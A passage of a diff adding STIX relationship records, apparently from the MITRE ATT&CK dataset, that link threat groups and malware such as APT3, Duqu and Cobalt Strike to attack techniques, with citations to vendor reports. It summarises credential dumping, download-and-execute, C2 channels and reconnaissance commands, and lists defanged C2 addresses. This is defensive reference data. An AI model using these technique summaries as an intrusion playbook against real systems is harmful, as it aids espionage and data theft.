"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has deleted existing logs and exfiltrated file archives from a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.140Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) collects the network adapter information and domain/username information based on current remote sessions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4d12441-c588-47f2-9751-8a86a867a185", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.211Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can use HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-29T19:18:28.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b5508866-69f6-4bbe-8906-9de0148d9834", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.578Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) leveraged PowerShell to download and execute additional scripts for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da3fc762-2ac5-4ab7-8c77-6df2f06b5680", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-04-22T19:23:13.517Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.", + "type": "relationship", + "created": "2017-05-31T21:33:27.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.482Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) captures screenshots of the victim\u2019s screen.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2ae2606-fea8-4caf-a79e-91f09932d6d4", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.710Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) can obtain a list of running processes on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b03ba23-cbf3-4a77-8c8b-233a19e42a0c", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256)\u2019s installer is obfuscated with a custom crypter to obfuscate the installer.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91a362c7-a111-4a1e-8978-1afcc110e5cf", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Imecab to set up a persistent remote access account on the victim machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d882d9e-7ed8-4dda-896d-a1573768cda1", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.452Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a64af0b-aebe-47d1-9f96-ef0ecad52df9", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.286Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WinRM to execute a payload on a remote host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d328f1e2-c98f-473e-aea5-063e1ee70744", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.340Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) makes modifications to open-source scripts from GitHub and executes them on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a49b638b-c180-4239-95f8-1601bd2d5295", + "external_references": [ + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can communicate over FTP and send email over SMTP.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7bde54d7-257c-4c68-920e-bd78fe282f14", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T15:36:46.893Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36aad32e-5300-4db0-b5a2-8b7442123db1", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands systeminfo, net config workstation, hostname, ver, set, and date /t.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8dc6cca-3ede-4110-baf1-8ce53fb655a9", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) and a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.166Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is capable of reading files over the C2 channel.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3565539f-7ebf-4288-8422-5212c774821b", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) leveraged a compiled HTML file that contained a command to download and run an executable.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--543dce32-6988-4e49-ad83-4405d1a143ae", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.965Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dok](https://attack.mitre.org/software/S0281) persists via a login item.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad5b220e-ff6c-428c-a51e-e90781b7e11c", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used cmd.exe to execute commmands.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9d48406-947c-4d50-9539-b30c4566403b", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.630Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:39:54.362Z", + "type": "relationship", + "id": "relationship--366214ea-29b0-458a-a852-7a76420783d2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects the current username from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2d9a619-4379-4e15-9115-40ca9209f316", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.370Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When the [Duqu](https://attack.mitre.org/software/S0038) command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.202Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.466Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by [SPACESHIP](https://attack.mitre.org/software/S0035).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e30a790b-8f09-4bdc-8116-275d00880333", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) searches the local system and gathers data.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--066d9d0e-0298-420b-ba84-a4af07211a35", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.212Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) performs the tasklist command to list running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91b6a6e1-c0eb-4bd8-84d4-4c31caf2ba6a", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) contains a custom version of the RC4 algorithm that includes a programming error.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of available servers with the command net view.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71fd7b73-462f-4629-8d95-59d0129b1503", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) deletes one of its files, 2.hwp, from the endpoint after establishing persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + 